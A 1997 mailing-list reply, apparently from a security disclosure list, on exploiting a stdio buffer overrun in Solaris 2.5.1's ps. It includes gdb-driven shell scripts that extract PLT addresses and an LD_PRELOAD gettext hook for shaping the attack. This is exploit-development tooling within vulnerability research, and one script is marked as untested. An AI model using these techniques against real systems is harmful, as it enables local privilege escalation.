Re: Finally, most of an exploit for Solaris 2.5.1's ps.

Joe Zbiciak (jzbiciak@DALDD.SC.TI.COM)
Mon, 19 May 1997 15:13:08 -0500

'Adam Morrison' said previously:
| Uh, the joys of not keeping up with my mail. I've already seen your full
| exploit, but I thought you might still find some interest in this.
|
| > I finally managed to construct most of an exploit for Solaris'
| > /usr/bin/ps. This exploit does *not* use the getopt()/argv[0] hole.
| > Rather, it uses the buffer overrun I isolated a couple weeks ago. I've
| > sent a copy of this to Casper Dik over at Sun as well; hopefully he's
| > convinced now that a proper patch for Solaris 2.5.1 is a good idea.
|
| The latest version of Sun patch 103612 has fixes for getopt() overrun, as
| well as the ones in getpwnam_r() and getgrnam_r() and some others.

Yeah, several have pointed that patch out to me; it doesn't fix the
bug this exploit hits.

| It may not be as unique as you think; because of the way most source code
| looks like, almost any program that uses stdio(3S) has iob[] after any
| variables declared in the program. Thus, this is really the cookie cutter
| data buffer overrun -- it only takes more brains to use. A classical
| example of this hole is in chkey(1).

Well, it was unique as compared to the 1000s of "stack smash" exploits
out there. :-) It does take more brains to use -- until now. The
following script extracts the address for "exit" which you've left
as an "exercise to the reader":

--- extract_proc_link.sh
#!/bin/sh

cp /usr/bin/ps ./ps
FOO="`cat << E_O_F | gdb ./ps | grep PROC | cut -d: -f2 | cut -d\< -f1
break exit
run
disassemble exit
quit
y
E_O_F
`"

rm -f ./ps

set $FOO foo

[ -f "$1" = "foo" ] && echo "Try something else" && exit 1;

echo " u_long proc_link=$2;"
--- EOF

A more generalized version probably would look like this (although I
haven't tested it):

--- extract_plt.sh
#!/bin/sh
# $1 == program you want to probe
# $2 == procedure whose PLT entry address you want

[ -z "$1" ] && echo "usage: $0 file_to_extract_from plt_to_extract" && exit 0

cp $1 ./bugger
FOO="`cat << E_O_F | gdb ./bugger | grep PROC | cut -d: -f2 | cut -d\< -f1
break $2
run
disassemble $2
quit
y
E_O_F
`"

rm -f ./bugger

set $FOO foo

[ -f "$1" = "foo" ] && echo "Try something else" && exit 1;

echo "The PLT entry you want is at $2"
--- EOF

| You might experience problems with this approach; I don't remember the
| exact difficulties I had, but essentially the dynamic loader faulted when
| the first few entries of the PLT ``rug'' got pulled out from under it when
| an stdio function overwrote them.

Well, if you smash some of the early entries in the PLT, you end up
wrecking some other calls (like mutex related stuff) which get called
from deep in the bowels of the library.

Out of curiosity, when did you write this "stdioflow" program?

| If you don't mess with environ from within your program (instead, do a
| setenv from the shell and then run your exploit) and play with your
| arguments nicely, its value should not change.

The real fix: use execle(), which sets environ *exactly*. :-) Then
it doesn't move from user-to-user.

| This gettext() trick is really something I hadn't thought of. I don't think
| it should be too difficult. I will add it to my program.

The "msgfmt" command builds the file for you. How nice! :-) But, to
find out what string to grok, I use the following "pseudo library":

--- hook_gettext.c
char * textdomain(char * c)
{
printf("textdomain(%s)\n",c);
return c;
}

char * gettext(char * c)
{
static char *s="FOO BAR";

printf("gettext(%s)\n",c);
return s;
}
char * dgettext(char * c)
{
static char *s="FOO BAR";

printf("dgettext(%s)\n",c);
return s;
}
char * dcgettext(char * c)
{
static char *s="FOO BAR";

printf("dcgettext(%s)\n",c);
return s;
}
--- EOF

I then compile like so:

$ gcc -c hook_gettext.c
$ ld -G -o hook_gettext.so hook_gettext.o

And then, I use it like so:

$ export LD_PRELOAD=`pwd`/hook_gettext.so

Of course, you have to have a non-suid copy of the program you're
buggering around so the LD_PRELOAD works.

| Lest anyone say that this is a Solaris only problem, I note that the BSD
| FILE structure contains function pointers, so exploiting a similar overrun
| condition there would be trivial.

Whee.

Regards,

--Joe

--
 +--------------Joseph Zbiciak--------------+
 |- - - - jzbiciak@daldd.sc.ti.com - - - - -|
 | - - http://ee1.bradley.edu/~im14u2c/ - - |      Not your average "Joe."
 |- - - - Texas Instruments,  Dallas - - - -|
 +-------#include <std_disclaimer.h>--------+